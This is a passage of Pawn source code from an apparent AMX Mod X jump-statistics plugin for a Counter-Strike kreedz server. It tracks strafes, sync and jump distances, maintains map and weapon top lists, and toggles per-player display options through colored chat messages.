TrieGetString(JS,"name",tmp_names[i],32);
TrieGetString(JS,"authid",tmp_ip[i],32);
TrieGetCell(JS, "distance", tmp_distance[i]);
TrieGetCell(JS, "maxspeed", tmp_maxspeed[i]);
TrieGetCell(JS, "prestrafe", tmp_prestrafe[i]);
TrieGetCell(JS, "strafes", tmp_strafes[i]);
TrieGetCell(JS, "sync", tmp_sync[i]);
TrieGetCell(JS, "pspeed", tmp_wpnrank[i]);
TrieGetString(JS, "wpn_name", tmp_weap_name[i],32);
}
if( d > tmp_distance[i] )
{
new pos = i;
while( !equali(tmp_ip[pos],rb) && pos < NTOP ) pos++;
for (new j = pos; j > i; j--)
{
formatex(tmp_ip[j], 32, tmp_ip[j-1]);
formatex(tmp_names[j], 32, tmp_names[j-1]);
formatex(tmp_weap_name[j], 32, tmp_weap_name[j-1]);
tmp_distance[j] = tmp_distance[j-1];
tmp_maxspeed[j] = tmp_maxspeed[j-1];
tmp_prestrafe[j] = tmp_prestrafe[j-1];
tmp_strafes[j] = tmp_strafes[j-1];
tmp_sync[j] = tmp_sync[j-1];
}
formatex(tmp_ip[i], 32, rb);
formatex(tmp_names[i], 32, g_playername[id]);
formatex(tmp_weap_name[i], 32, wpn_name);
tmp_distance[i]=d;
tmp_maxspeed[i] = m;
tmp_prestrafe[i] = p;
tmp_strafes[i] = sf;
tmp_sync[i] = s;
save_tops_weapon(type,type_num,wpn_rank,tmp_names,tmp_ip,tmp_distance,tmp_maxspeed,tmp_prestrafe,tmp_strafes,tmp_sync,tmp_weap_name);
Color_Chat_Lang(0,NORMAL,"[^4%s^1]^4 %s^1 is now^4 %i^1 in^4 %s^1 top (weapon speed^4 %d^1) with^4 %f",prefix,g_playername[id],(i+1),type,pev_max_speed,dd);
break;
}
else if( equali(tmp_ip[i], rb)) break;
}
return PLUGIN_HANDLED
}
public checkmap(id,Float:dd,Float:mm,Float:pp,sf,s,typ[])
{ new d,m,p,rb[64];
d=floatround(dd*1000000);// todo: zdelat poproshe)
m=floatround(mm*1000000);
p=floatround(pp*1000000);
switch(rankby) {
case 0: {
formatex(rb, 63, "%s", g_playername[id]);
}
case 1: {
formatex(rb, 63, "%s", g_playerip[id]);
}
case 2: {
formatex(rb, 63, "%s", g_playersteam[id]);
}
}
for (new i = 0; i < NTOP; i++)
{
if( d > map_dist[i] )
{
new pos = i;
while( !equali(map_ip[pos],rb) && pos < NTOP )
{
pos++;
}
for (new j = pos; j > i; j--)
{
formatex(map_ip[j], 32, map_ip[j-1]);
formatex(map_names[j], 32, map_names[j-1]);
map_dist[j] = map_dist[j-1];
map_maxsped[j] =map_maxsped[j-1];
map_prestr[j] = map_prestr[j-1];
map_streif[j] = map_streif[j-1];
map_syncc[j] = map_syncc[j-1];
formatex(map_type[j], 32, map_type[j-1]);
}
formatex(map_ip[i], 32, rb);
formatex(map_names[i], 32, g_playername[id]);
map_dist[i]=d;
map_maxsped[i] = m;
map_prestr[i] = p;
map_streif[i] = sf;
map_syncc[i] = s;
formatex(map_type[i], 32, typ);
save_maptop();
new iPlayers[32],iNum;
get_players( iPlayers, iNum,"ch") ;
for(new p=0;p<iNum;p++)
{
new ids=iPlayers[p];
if(gHasColorChat[ids] ==true)
{
client_print(ids,print_chat,"%L",LANG_SERVER,"UQSTATS_PRINTTOP5",prefix,g_playername[id],(i+1),dd,typ);
}
}
break;
}
else if( equali(map_ip[i], rb)) break;
}
return PLUGIN_HANDLED
}
public fwdPostThink( id )
{
if( g_alive[id] && g_userConnected[id] && g_pBot[id]==false)
{
if( g_Jumped[id] )
{
FullJumpFrames[id]++;
static buttonsNew;
static buttons;
static Float:angle[3];
buttonsNew = pev(id, pev_button);
buttons = pev(id, pev_button);
pev(id, pev_angles, angle);
new Float:velocity[3];
pev(id, pev_velocity, velocity);
velocity[2] = 0.0;
new Float:fSpeed = vector_length(velocity);
if( old_angle1[id] > angle[1] ) {
turning_left[id] = false;
turning_right[id] = true;
}
else if( old_angle1[id] < angle[1] ) {
turning_left[id] = true;
turning_right[id] = false;
} else {
turning_left[id] = false;
turning_right[id] = false;
}
//schetchik streifof
if( !(strafecounter_oldbuttons[id]&IN_MOVELEFT) && buttonsNew&IN_MOVELEFT
&& !(buttonsNew&IN_MOVERIGHT) && !(buttonsNew&IN_BACK) && !(buttonsNew&IN_FORWARD)
&& (turning_left[id] || turning_right[id]) )
{
preessbutton[id]=true;
button_what[id]=1;
if(strafe_num[id] < NSTRAFES)
strafe_stat_time[id][strafe_num[id]] = get_gametime();
strafe_num[id] += INFO_ONE;
if(strafe_num[id]>0 && strafe_num[id]<100) type_button_what[id][strafe_num[id]]=1;
}
else if( !(strafecounter_oldbuttons[id]&IN_MOVERIGHT) && buttonsNew&IN_MOVERIGHT
&& !(buttonsNew&IN_MOVELEFT) && !(buttonsNew&IN_BACK) && !(buttonsNew&IN_FORWARD)
&& (turning_left[id] || turning_right[id]) )
{
preessbutton[id]=true;
button_what[id]=2;
if(strafe_num[id] < NSTRAFES)
strafe_stat_time[id][strafe_num[id]] = get_gametime();
strafe_num[id] += INFO_ONE;
if(strafe_num[id]>0 && strafe_num[id]<100) type_button_what[id][strafe_num[id]]=1;
}
else if( !(strafecounter_oldbuttons[id]&IN_BACK) && buttonsNew&IN_BACK
&& !(buttonsNew&IN_MOVELEFT) && !(buttonsNew&IN_MOVERIGHT) && !(buttonsNew&IN_FORWARD)
&& (turning_left[id] || turning_right[id]) )
{
preessbutton[id]=true;
button_what[id]=1;
if(strafe_num[id] < NSTRAFES)
strafe_stat_time[id][strafe_num[id]] = get_gametime();
strafe_num[id] += INFO_ONE;
if(strafe_num[id]>0 && strafe_num[id]<100) type_button_what[id][strafe_num[id]]=2;
}
else if( !(strafecounter_oldbuttons[id]&IN_FORWARD) && buttonsNew&IN_FORWARD
&& !(buttonsNew&IN_MOVELEFT) && !(buttonsNew&IN_MOVERIGHT) && !(buttonsNew&IN_BACK)
&& (turning_left[id] || turning_right[id]) )
{
preessbutton[id]=true;
button_what[id]=2;
if(strafe_num[id] < NSTRAFES)
strafe_stat_time[id][strafe_num[id]] = get_gametime();
strafe_num[id] += INFO_ONE;
if(strafe_num[id]>0 && strafe_num[id]<100) type_button_what[id][strafe_num[id]]=2;
}
if( buttonsNew&IN_MOVERIGHT
|| buttonsNew&IN_MOVELEFT
|| buttonsNew&IN_FORWARD
|| buttonsNew&IN_BACK )
{
//tskFps(id);
if(strafe_num[id] < NSTRAFES)
{
if( fSpeed > speed[id])
{
strafe_stat_sync[id][strafe_num[id]][0] += INFO_ONE;
}
else
{
strafe_stat_sync[id][strafe_num[id]][1] += INFO_ONE;
if(uq_istrafe && strafe_num[id]<NSTRAFES && lost_frame_count[id][strafe_num[id]]<NVAR)
line_lost[id][strafe_num[id]][lost_frame_count[id][strafe_num[id]]]=1;
}
if(uq_istrafe)
{
line_erase[id][strafe_num[id]]=lost_frame_count[id][strafe_num[id]];
line_erase_strnum[id]=strafe_num[id];
lost_frame_count[id][strafe_num[id]]++;
}
}
}
else if(uq_istrafe && strafe_num[id]<NSTRAFES)
strafe_lost_frame[id][strafe_num[id]] += INFO_ONE;
if( buttons&IN_MOVERIGHT && (buttons&IN_MOVELEFT || buttons&IN_FORWARD || buttons&IN_BACK) )
strafecounter_oldbuttons[id] = INFO_ZERO;
else if( buttons&IN_MOVELEFT && (buttons&IN_FORWARD || buttons&IN_BACK || buttons&IN_MOVERIGHT) )
strafecounter_oldbuttons[id] = INFO_ZERO;
else if( buttons&IN_FORWARD && (buttons&IN_BACK || buttons&IN_MOVERIGHT || buttons&IN_MOVELEFT) )
strafecounter_oldbuttons[id] = INFO_ZERO;
else if( buttons&IN_BACK && (buttons&IN_MOVERIGHT || buttons&IN_MOVELEFT || buttons&IN_FORWARD) )
strafecounter_oldbuttons[id] = INFO_ZERO;
else if( turning_left[id] || turning_right[id] )
strafecounter_oldbuttons[id] = buttons;
}
else
{
if(sync_doubleduck[id])
{
new Float:velocity[3];
pev(id, pev_velocity, velocity);
velocity[2] = 0.0;
new Float:fSpeed = vector_length(velocity);
if( fSpeed > speed[id])
{
doubleduck_stat_sync[id][0]++;
}
else
{
doubleduck_stat_sync[id][1]++;
}
}
}
}
}
public get_colorchat_by_distance(JumpType:type_jump,mSpeed,t_dist,bool:drop_a,multiscj_a,aircj)
{
new dist_array[5];
dist_array[2]=280;
if(type_jump==Type_Double_CountJump || type_jump==Type_Multi_CountJump )
{
dist_array[4]=dcj_god_dist;
dist_array[3]=dcj_leet_dist;
dist_array[2]=dcj_holy_dist;
dist_array[1]=dcj_pro_dist;
dist_array[0]=dcj_good_dist;
}
else if(type_jump==Type_LongJump || type_jump==Type_HighJump)
{
dist_array[4]=lj_god_dist;
dist_array[3]=lj_leet_dist;
dist_array[2]=lj_holy_dist;
dist_array[1]=lj_pro_dist;
dist_array[0]=lj_good_dist;
}
else if(type_jump==Type_ladder)
{
dist_array[4]=ladder_god_dist;
dist_array[3]=ladder_leet_dist;
dist_array[2]=ladder_holy_dist;
dist_array[1]=ladder_pro_dist;
dist_array[0]=ladder_good_dist;
}
else if(type_jump==Type_WeirdLongJump || type_jump==Type_Drop_CountJump || type_jump==Type_ladderBhop)
{
dist_array[4]=wj_god_dist;
dist_array[3]=wj_leet_dist;
dist_array[2]=wj_holy_dist;
dist_array[1]=wj_pro_dist;
dist_array[0]=wj_good_dist;
}
else if(type_jump==Type_BhopLongJump || type_jump==Type_StandupBhopLongJump)
{
dist_array[4]=bj_god_dist;
dist_array[3]=bj_leet_dist;
dist_array[2]=bj_holy_dist;
dist_array[1]=bj_pro_dist;
dist_array[0]=bj_good_dist;
}
else if(type_jump==Type_CountJump)
{
dist_array[4]=cj_god_dist;
dist_array[3]=cj_leet_dist;
dist_array[2]=cj_holy_dist;
dist_array[1]=cj_pro_dist;
dist_array[0]=cj_good_dist;
}
else if(type_jump==Type_Drop_BhopLongJump)
{
dist_array[4]=dbj_god_dist;
dist_array[3]=dbj_leet_dist;
dist_array[2]=dbj_holy_dist;
dist_array[1]=dbj_pro_dist;
dist_array[0]=dbj_good_dist;
}
else if(type_jump==Type_StandUp_CountJump && drop_a==false)
{
if(multiscj_a==0)
{
dist_array[4]=scj_god_dist+aircj;
dist_array[3]=scj_leet_dist+aircj;
dist_array[2]=scj_holy_dist+aircj;
dist_array[1]=scj_pro_dist+aircj;
dist_array[0]=scj_good_dist+aircj;
}
else if(multiscj_a==1 || multiscj_a==2)
{
dist_array[4]=scj_god_dist+aircj+10;
dist_array[3]=scj_leet_dist+aircj+10;
dist_array[2]=scj_holy_dist+aircj+10;
dist_array[1]=scj_pro_dist+aircj+10;
dist_array[0]=scj_good_dist+aircj+10;
}
}
else if(type_jump==Type_StandUp_CountJump && drop_a)
{
dist_array[4]=dropscj_god_dist;
dist_array[3]=dropscj_leet_dist;
dist_array[2]=dropscj_holy_dist;
dist_array[1]=dropscj_pro_dist;
dist_array[0]=dropscj_good_dist;
}
else if(type_jump==Type_Bhop_In_Duck || type_jump==Type_Up_Bhop_In_Duck)
{
dist_array[4]=bhopinduck_god_dist;
dist_array[3]=bhopinduck_leet_dist;
dist_array[2]=bhopinduck_holy_dist;
dist_array[1]=bhopinduck_pro_dist;
dist_array[0]=bhopinduck_good_dist;
}
else if(type_jump==Type_Up_Bhop)
{
dist_array[4]=upbj_god_dist;
dist_array[3]=upbj_leet_dist;
dist_array[2]=upbj_holy_dist;
dist_array[1]=upbj_pro_dist;
dist_array[0]=upbj_good_dist;
}
else if(type_jump==Type_Up_Stand_Bhop)
{
dist_array[4]=upsbj_god_dist;
dist_array[3]=upsbj_leet_dist;
dist_array[2]=upsbj_holy_dist;
dist_array[1]=upsbj_pro_dist;
dist_array[0]=upsbj_good_dist;
}
else if(type_jump==Type_Real_ladder_Bhop)
{
dist_array[4]=real_god_dist;
dist_array[3]=real_leet_dist;
dist_array[2]=real_holy_dist;
dist_array[1]=real_pro_dist;
dist_array[0]=real_good_dist;
}
else if(type_jump==Type_DuckBhop)
{
dist_array[4]=duckbhop_god_dist;
dist_array[3]=duckbhop_leet_dist;
dist_array[2]=duckbhop_holy_dist;
dist_array[1]=duckbhop_pro_dist;
dist_array[0]=duckbhop_good_dist;
}
if(mSpeed != 250.0 && type_jump!=Type_ladder)
{
dist_array[4]=dist_array[4]-t_dist;
dist_array[3]=dist_array[3]-t_dist;
dist_array[2]=dist_array[2]-t_dist;
dist_array[1]=dist_array[1]-t_dist;
dist_array[0]=dist_array[0]-t_dist;
}
return dist_array;
}
public fnSaveBeamPos( client ) {
if( g_Jumped[client] ) {
new Float:vOrigin[3];
pev(client, pev_origin, vOrigin);
if( gBeam_count[client] < 100 ) {
gBeam_points[client][gBeam_count[client]][0] = vOrigin[0];
gBeam_points[client][gBeam_count[client]][1] = vOrigin[1];
gBeam_points[client][gBeam_count[client]][2] = vOrigin[2];
if(preessbutton[client])
{
gBeam_button[client][gBeam_count[client]]=true;
if(button_what[client]==1)
{
gBeam_button_what[client][gBeam_count[client]]=1;
}
else if(button_what[client]==2)
{
gBeam_button_what[client][gBeam_count[client]]=2;
}
}
if(is_user_ducking( client ))
gBeam_duck[client][gBeam_count[client]] = true;
gBeam_count[client]++;
}
}
}
public JumpReset(id,num)
{
g_reset[id] = true;
//if(num!=26 && num!=1 && num!=29)
//ColorChat(id,GREEN,"jump reset %d",num);
}
public JumpReset1(id)
{
g_reset[id] = true;
}
public ddReset(id)
{
id=id-2311;
JumpReset(id,27);
//ColorChat(id, GREEN, "reset dd");
}
public Color_Chat_Lang(id,Color:type, const msg[], {Float,Sql,Result,_}:...)
{
new message[256];
switch(type)
{
case NORMAL: // clients scr_concolor cvar color
{
message[0] = 0x01;
}
case GREEN: // Green
{
message[0] = 0x04;
}
default: // White, Red, Blue
{
message[0] = 0x03;
}
}
vformat(message[1], 251, msg, 4);
replace_colors(message,191);
ColorChat(id, type, "%s",message);
}
public cmdColorChat(id)
{
if( !gHasColorChat[id] )
{
gHasColorChat[id] = true;
Color_Chat_Lang(id,GREEN,"%L",LANG_SERVER,"UQSTATS_COLORCHAT_E", prefix);
}
else
{
gHasColorChat[id] = false;
Color_Chat_Lang(id,GREEN,"%L",LANG_SERVER,"UQSTATS_COLORCHAT_D", prefix);
}
return PLUGIN_CONTINUE;
}
public cmdljStats( id ) {
if(g_lj_stats[id]==true)
{
Color_Chat_Lang(id,RED,"%L",LANG_SERVER,"UQSTATS_LJSTATS_D", prefix);
g_lj_stats[id]=false;
if(showpre[id]==true)
{
showpre[id]=false;
oldpre[id]=1;
}
if(failearly[id]==true)
{
failearly[id]=false;
oldfail[id]=1;
}
if(ljpre[id]==true)
{
ljpre[id]=false;
oldljpre[id]=1;
}
}
else
{
if(oldpre[id]==1)
{
showpre[id]=true;
oldpre[id]=0;
}
if(oldfail[id]==1)
{
failearly[id]=true;
oldfail[id]=0;
}
if(oldljpre[id]==1)
{
ljpre[id]=true;
oldljpre[id]=0;
}
g_lj_stats[id]=true;
Color_Chat_Lang(id,BLUE,"%L",LANG_SERVER,"UQSTATS_LJSTATS_E", prefix);
}
}
public cmdVersion( id )
{
Color_Chat_Lang(id,GREY,"%L",LANG_SERVER,"UQSTATS_VERSION_1", prefix,VERSION);
if(kz_sql==1)
{
Color_Chat_Lang(id,GREY,"%L",LANG_SERVER,"UQSTATS_VERSION_SQL1", prefix);
Color_Chat_Lang(id,BLUE,"%L",LANG_SERVER,"UQSTATS_VERSION_SQL2", prefix);
}
else Color_Chat_Lang(id,BLUE,"%L",LANG_SERVER,"UQSTATS_VERSION_2", prefix);
}
public pre_stats(id)
{
if(kz_stats_pre[id]==true)
{
Color_Chat_Lang(id,RED,"%L",LANG_SERVER,"UQSTATS_PRESTATS_D", prefix);
kz_stats_pre[id]=false;
}
else
{
kz_stats_pre[id]=true;
Color_Chat_Lang(id,BLUE,"%L",LANG_SERVER,"UQSTATS_PRESTATS_E", prefix);
}
}
public streif_stats(id)
{
if(streifstat[id]==true)
{
Color_Chat_Lang(id,RED,"%L",LANG_SERVER,"UQSTATS_STRAFESTATS_D", prefix);
streifstat[id]=false;
}
else
{
streifstat[id]=true;
Color_Chat_Lang(id,BLUE,"%L",LANG_SERVER,"UQSTATS_STRAFESTATS_E", prefix);
}
}
public cmdljbeam(id)
{
if(ingame_strafe[id])
{
Color_Chat_Lang(id,RED,"%L",LANG_SERVER,"UQSTATS_BEAMDONTWORK", prefix);
}
else
{
if(kz_beam[id]==true)
{
Color_Chat_Lang(id,RED,"%L",LANG_SERVER,"UQSTATS_BEAMSTATS_D", prefix);
kz_beam[id]=false;
}
else
{
kz_beam[id]=true;
Color_Chat_Lang(id,BLUE,"%L",LANG_SERVER,"UQSTATS_BEAMSTATS_E", prefix);
}
}
}
public show_pre(id)
{
if(showpre[id]==true)
{
Color_Chat_Lang(id,RED,"%L",LANG_SERVER,"UQSTATS_SHOWPRE_D", prefix);
showpre[id]=false;
}
else
{
showpre[id]=true;
Color_Chat_Lang(id,BLUE,"%L",LANG_SERVER,"UQSTATS_SHOWPRE_E", prefix);
}
}
public show_speed(id)
{
new tmpTeam[33],g_team;
get_user_team(id,tmpTeam,32);
if(uq_team==0)
{
g_team=0;
}
else if(equali(tmpTeam,"TERRORIST"))
{
g_team=1;
}
else if(equali(tmpTeam,"CT"))
{
g_team=2;
}
else
{
g_team=uq_team;
}
if(uq_admins==1 && !player_admin[id])
{
Color_Chat_Lang(id,RED,"%L",LANG_SERVER,"UQSTATS_SPEED_D1", prefix);
}
else if(g_team!=uq_team && !uq_speed_allteam)
{
Color_Chat_Lang(id,RED,"%L",LANG_SERVER,"UQSTATS_SPEED_D2", prefix);
}
else
{
if(jofon[id])
{
Color_Chat_Lang(id,RED,"%L",LANG_SERVER,"UQSTATS_SPEED_D3", prefix);
}
else
{
if(speedon[id]==false)
{
Color_Chat_Lang(id,BLUE,"%L",LANG_SERVER,"UQSTATS_SPEED_E", prefix);
speedon[id]=true;
set_task(0.1, "DoSpeed", id+212299, "", 0, "b", 0);
}
else
{
speedon[id]=false;
if( task_exists(id+212299, 0) )
remove_task(id+212299, 0);
Color_Chat_Lang(id,RED,"%L",LANG_SERVER,"UQSTATS_SPEED_D", prefix);
}
}
}
}
public trainer_jof(id)
{
new tmpTeam[33],g_team;
get_user_team(id,tmpTeam,32);
if(uq_team==0)
{
g_team=0;
}
else if(equali(tmpTeam,"TERRORIST"))
{
g_team=1;
}
else if(equali(tmpTeam,"CT"))
{
g_team=2;
}
else
{
g_team=uq_team;
}
if(uq_admins==1 && !player_admin[id])
{
Color_Chat_Lang(id,RED,"%L",LANG_SERVER,"UQSTATS_JOFTR_D1", prefix);
}
else if(g_team!=uq_team)
{
Color_Chat_Lang(id,RED,"%L",LANG_SERVER,"UQSTATS_JOFTR_D2", prefix);
}
else
{
if(speedon[id])
{
Color_Chat_Lang(id,RED,"%L",LANG_SERVER,"UQSTATS_JOFTR_D3", prefix);
}
else
{
if(jofon[id]==false)
{
Color_Chat_Lang(id,BLUE,"%L",LANG_SERVER,"UQSTATS_JOFTR_E", prefix);
jofon[id]=true;
jof[id]=0.0;
set_task(0.1, "Dojof", id+212398, "", 0, "b", 0);
}
else
{
jofon[id]=false;
if( task_exists(id+212398, 0) )
remove_task(id+212398, 0);
Color_Chat_Lang(id,RED,"%L",LANG_SERVER,"UQSTATS_JOFTR_D", prefix);
}
}
}
}
public speed_type(id)
{
if(speedtype[id]==false)
{
Color_Chat_Lang(id,BLUE,"%L",LANG_SERVER,"UQSTATS_SPEED_B", prefix);
speedtype[id]=true;
}
else
{
speedtype[id]=false;
Color_Chat_Lang(id,RED,"%L",LANG_SERVER,"UQSTATS_SPEED_S", prefix);
}
}
public show_jheight(id)
{
if(jheight_show[id]==false)
{
Color_Chat_Lang(id,BLUE,"%L",LANG_SERVER,"UQSTATS_JHEIGH_E", prefix);
jheight_show[id]=true;
}
else
{
jheight_show[id]=false;
Color_Chat_Lang(id,RED,"%L",LANG_SERVER,"UQSTATS_JHEIGH_D", prefix);
}
}
public show_jof(id)
{
if(showjofon[id]==false)
{
Color_Chat_Lang(id,BLUE,"%L",LANG_SERVER,"UQSTATS_JOF_E", prefix);
showjofon[id]=true;
}
else
{
showjofon[id]=false;
Color_Chat_Lang(id,RED,"%L",LANG_SERVER,"UQSTATS_JOF_D", prefix);
}
}
public show_early(id)
{
if(failearly[id]==false)
{
Color_Chat_Lang(id,BLUE,"%L",LANG_SERVER,"UQSTATS_BHOPWARN_E", prefix);
failearly[id]=true;
}
else
{
failearly[id]=false;
Color_Chat_Lang(id,RED,"%L",LANG_SERVER,"UQSTATS_BHOPWARN_D", prefix);
}
}
public multi_bhop(id)
{
if(multibhoppre[id]==false)
{
Color_Chat_Lang(id,BLUE,"%L",LANG_SERVER,"UQSTATS_MULTIBHOP_E", prefix);
multibhoppre[id]=true;
}
else
{
multibhoppre[id]=false;
Color_Chat_Lang(id,RED,"%L",LANG_SERVER,"UQSTATS_MULTIBHOP_D", prefix);
}
}
public duck_show(id)
{
if(showduck[id]==false)
{
Color_Chat_Lang(id,BLUE,"%L",LANG_SERVER,"UQSTATS_DUCKSPRE_E", prefix);
showduck[id]=true;
}
else
{
showduck[id]=false;
Color_Chat_Lang(id,RED,"%L",LANG_SERVER,"UQSTATS_DUCKSPRE_D", prefix);
}
}
public lj_show(id)
{
if(ljpre[id]==false)
{
Color_Chat_Lang(id,BLUE,"%L",LANG_SERVER,"UQSTATS_LJPRE_E", prefix);
ljpre[id]=true;
}
else
{
ljpre[id]=false;
Color_Chat_Lang(id,RED,"%L",LANG_SERVER,"UQSTATS_LJPRE_D", prefix);
}
}
public enable_sounds(id)
{
if(uq_sounds)
{
if(enable_sound[id]==false)
{
Color_Chat_Lang(id,BLUE,"%L",LANG_SERVER,"UQSTATS_SOUND_E", prefix);
enable_sound[id]=true;
}
else
{
enable_sound[id]=false;
Color_Chat_Lang(id,RED,"%L",LANG_SERVER,"UQSTATS_SOUND_D", prefix);
}
}
else Color_Chat_Lang(id,RED,"%L",LANG_SERVER,"UQSTATS_SOUND_D1", prefix);
}
public ShowedgeFail(id)
{
if(Show_edge_Fail[id]==false)
{
Color_Chat_Lang(id,BLUE,"%L",LANG_SERVER,"UQSTATS_EDGEF_E", prefix);
Show_edge_Fail[id]=true;
}
else
{
Show_edge_Fail[id]=false;
Color_Chat_Lang(id,RED,"%L",LANG_SERVER,"UQSTATS_EDGEF_D", prefix);
}
}
public Showedge(id)
{
if(Show_edge[id]==false)
{
Color_Chat_Lang(id,BLUE,"%L",LANG_SERVER,"UQSTATS_EDGE_E", prefix);
Show_edge[id]=true;
}
else
{
Show_edge[id]=false;
Color_Chat_Lang(id,RED,"%L",LANG_SERVER,"UQSTATS_EDGE_D", prefix);
}
}
public heightshow(id)
{
if(height_show[id]==false)
{
Color_Chat_Lang(id,BLUE,"%L",LANG_SERVER,"UQSTATS_FALLH_E", prefix);
height_show[id]=true;
}
else
{
height_show[id]=false;
Color_Chat_Lang(id,RED,"%L",LANG_SERVER,"UQSTATS_FALLH_D", prefix);
}
}
public ingame_st_stats(id)
{
if(uq_istrafe)
{
if(kz_beam[id])
{
Color_Chat_Lang(id,RED,"%L",LANG_SERVER,"UQSTATS_ISTRAFE_D1", prefix);
}
else
{
if(ingame_strafe[id]==false)
{
Color_Chat_Lang(id,BLUE,"%L",LANG_SERVER,"UQSTATS_ISTRAFE_E", prefix);
ingame_strafe[id]=true;
}
else
{
ingame_strafe[id]=false;
Color_Chat_Lang(id,RED,"%L",LANG_SERVER,"UQSTATS_ISTRAFE_D", prefix);
}
}
}
else Color_Chat_Lang(id,RED,"%L",LANG_SERVER,"UQSTATS_ISTRAFE_D2", prefix);
}
public client_connect( id )
{
oldljpre[id]=0;
oldpre[id]=0;
oldfail[id]=0;
g_userConnected[id]=true;
g_pBot[id]=false;
static connectt[30];
get_pcvar_string(kz_uq_connect, connectt, 30);
format(connectt, 30, "_%s", connectt);
if( contain(connectt, "a") > 0 )
gHasColorChat[id] =true;
else
gHasColorChat[id] = false;
if( contain(connectt, "b") > 0 )
g_lj_stats[id] = true;
else
g_lj_stats[id] = false;
if( contain(connectt, "c") > 0 )
speedon[id]=true;
else
speedon[id]=false;
if( contain(connectt, "d") > 0 )
showpre[id]=true;
else
showpre[id]=false;
if( contain(connectt, "e") > 0 )
streifstat[id]=true;
else
streifstat[id]=false;
if( contain(connectt, "f") > 0 )
kz_beam[id]=true;
else
kz_beam[id]=false;
if( contain(connectt, "g") > 0 )
kz_stats_pre[id]=true;
else
kz_stats_pre[id]=false;
if( contain(connectt, "h") > 0 )
failearly[id]=true;
else
failearly[id]=false;
if( contain(connectt, "i") > 0 )
multibhoppre[id]=true;
else
multibhoppre[id]=false;
if( contain(connectt, "j") > 0 )
showduck[id]=true;
else
showduck[id]=false;
if( contain(connectt, "k") > 0 )
ljpre[id]=true;
else
ljpre[id]=false;
if( contain(connectt, "l") > 0 )
Show_edge[id]=true;
else
Show_edge[id]=false;
if( contain(connectt, "m") > 0 )
Show_edge_Fail[id]=true;
else
Show_edge_Fail[id]=false;
if( contain(connectt, "n") > 0 )
enable_sound[id]=true;
else
enable_sound[id]=false;
if( contain(connectt, "o") > 0 )
ingame_strafe[id]=true;
else
ingame_strafe[id]=false;
//for beta
//ingame_strafe[id]=true;
user_block[id][0]=uq_maxedge;
user_block[id][1]=uq_minedge;
min_prestrafe[id]=uq_min_pre;
beam_type[id]=1;
edgeshow[id]=true;
first_ground_bhopaem[id]=false;
donehook[id]=false;
OnGround[id]=false;
serf_reset[id]=false;
first_onground[id]=false;
duckstring[id]=false;
firstshow[id]=false;
height_show[id]=false;
Checkframes[id]=false;
firstfall_ground[id]=false;
h_jumped[id]=false;
touch_ent[id]=false;
ddafterJump[id]=false;
ddstandcj[id]=false;
UpcjFail[id]=false;
slide_protec[id]=false;
posibleScj[id]=false;
x_jump[id]=false;
ddforcj[id]=false;
dropbhop[id]=false;
ddnum[id]=0;
hookcheck[id]=false;
backwards[id]=false;
ladderbug[id]=false;
touch_somthing[id]=false;
record_start[id]=0;
duckbhop_bug_pre[id]=false;
showtime_st_stats[id]=40;
speedtype[id]=false;
trigger_protection[id]=false;
if(is_user_bot(id))
{
g_pBot[id]=true;
}
if( task_exists(id+434490, 0) )
remove_task(id+434490, 0);
if( task_exists(id, 0) )
remove_task(id, 0);
if( task_exists(id+89012, 0) )
remove_task(id+89012, 0);
if( task_exists(id+3313, 0) )
remove_task(id+3313, 0);
if( task_exists(id+3214, 0) )
remove_task(id+3214, 0);
if( task_exists(id+15237, 0) )
remove_task(id+15237, 0);
if( task_exists(id+212299, 0) )
remove_task(id+212299, 0);
if( task_exists(id+212398, 0) )
remove_task(id+212398, 0);
if( task_exists(id, 0) )
remove_task(id, 0);
}
public client_infochanged(id) {
new name[65];
get_user_info(id, "name", name,64);
if(!equali(name, g_playername[id]))
copy(g_playername[id], 64, name);
}
public ResetHUD(id)
{
if(is_user_alive(id) && !is_user_bot(id) && !is_user_hltv(id) )
{
if(firstshow[id]==false)
{
if( uq_airaccel==1 || uq_airaccel==100)
{
Color_Chat_Lang(id,RED,"%L",LANG_SERVER,"UQSTATS_AIRACCEL100", prefix);
}
else if( uq_airaccel==0 || uq_airaccel==10)
{
Color_Chat_Lang(id,BLUE,"%L",LANG_SERVER,"UQSTATS_AIRACCEL10", prefix);
}
else
Color_Chat_Lang(id,RED,"%L",LANG_SERVER,"UQSTATS_AIRACCEL", prefix,uq_airaccel);
firstshow[id]=true;
if(equali(mapname,"slide_gs_longjumps") || equali(mapname,"b2j_slide_longjumps"))
{
Color_Chat_Lang(id,RED,"%L",LANG_SERVER,"UQSTATS_SLIDE", prefix);
}
}
firstfall_ground[id]=false;
h_jumped[id]=false;
ddafterJump[id]=false;
UpcjFail[id]=false;
slide_protec[id]=false;
posibleScj[id]=false;
x_jump[id]=false;
ddforcj[id]=false;
dropbhop[id]=false;
ddnum[id]=0;
donehook[id]=false;
hookcheck[id]=false;
backwards[id]=false;
Checkframes[id]=false;
first_ground_bhopaem[id]=false;
touch_ent[id]=false;
ladderbug[id]=false;
touch_somthing[id]=false;
ddstandcj[id]=false;
}
}
public FwdPlayerSpawn(id)
{
if( is_user_alive(id) && !is_user_bot(id) && !is_user_hltv(id))
{
if( !task_exists(id+434490, 0) )
set_task(1.0, "tskFps", id+434490, "", 0, "b", 0);
g_alive[id] = true;
strafe_num[id]=0;
}
}
public FwdPlayerDeath(id)
{
if( task_exists(id, 0) )
remove_task(id, 0);
if( task_exists(id+434490, 0) )
remove_task(id+434490, 0);
if( task_exists(id, 0) )
remove_task(id, 0);
if( task_exists(id+89012, 0) )
remove_task(id+89012, 0);
if( task_exists(id+3313, 0) )
remove_task(id+3313, 0);
if( task_exists(id+3214, 0) )
remove_task(id+3214, 0);
if( task_exists(id+15237, 0) )
remove_task(id+15237, 0);
if( task_exists(id+212398, 0) )
remove_task(id+212398, 0);
g_alive[id] = false;
}
public client_disconnect(id)
{
if(kz_sql == 1 || kz_sql == 2)
{
new tmp_str[12];
num_to_str(g_sql_pid[id], tmp_str, 11);
if(TrieKeyExists(JumpPlayers, tmp_str))
TrieDeleteKey(JumpPlayers, tmp_str);
}
remove_beam_ent(id);
player_admin[id]=false;
g_pBot[id]=false;
login[id]=false;
g_userConnected[id]=false;
OnGround[id]=false;
g_alive[id]=false;
if( task_exists(id, 0) )
remove_task(id);
firstshow[id]=false;
if( task_exists(id+434490, 0) )
remove_task(id+434490, 0);
if( task_exists(id, 0) )
remove_task(id, 0);
if( task_exists(id+89012, 0) )
remove_task(id+89012, 0);
if( task_exists(id+3313, 0) )
remove_task(id+3313, 0);
if( task_exists(id+3214, 0) )
remove_task(id+3214, 0);
if( task_exists(id+15237, 0) )
